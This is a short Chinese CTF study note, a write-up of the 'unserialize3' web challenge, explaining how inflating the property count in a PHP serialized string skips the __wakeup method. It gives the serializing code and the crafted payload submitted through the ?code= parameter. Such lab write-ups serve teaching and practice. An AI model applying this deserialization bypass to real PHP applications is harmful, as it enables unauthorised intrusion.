CTF Study Note
  • 首页
  • Web
    • 反序列化漏洞(unserialize3)
    • Dedecms V5.7漏洞总结复盘
    • Web源码泄露
  • Misc
    • 流量分析-SMTP图片隐写
    • 流量分析-Telnet特殊字符
    • 记一次misc盲注流量分析
    • 第四届网鼎杯 白虎组 Misc04 WriteUP
  • Crypto
    • 第四届网鼎杯 青龙组 Crypto02 WriteUP
  • games
    • ISCTF2024 WP
    • 2024深育杯 攻防大赛 WP
  • 出题笔记
    • ez_AndroidRe
    • base65536
Powered by GitBook
On this page

Was this helpful?

  1. Web

反序列化漏洞(unserialize3)

来自 攻防世界题目web-unserialize3

序列化字符串当中属性个数值大于实际的属性个数时,就会导致反序列化异常,从而跳过__wakeup函数

原题目

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

xctf类只拥有一个public的flag变量,值为111

代码进行序列化

<?php

class xctf
{
    public $flag = '111';
    public function __wakeup(){
        exit('bad requests');
    }
}
$a = new xctf();
$b = serialize($a);
echo $b;
?>

得出 O:4:"xctf":1:{s:4:"flag";s:3:"111";}

public属性序列化后格式为:数据类型:属性名长度:“属性名”;数据类型:属性值长度:“属性值

修改xctf数值 使数值错误 导致序列化异常 从而跳过__wakeup函数

例如 O:4:"xctf":2:{s:4:"flag";s:3:"111";}

使用题目给的?code= 提交 即可拿到Flag

Previous首页NextDedecms V5.7漏洞总结复盘

Last updated 6 months ago

Was this helpful?

参考资料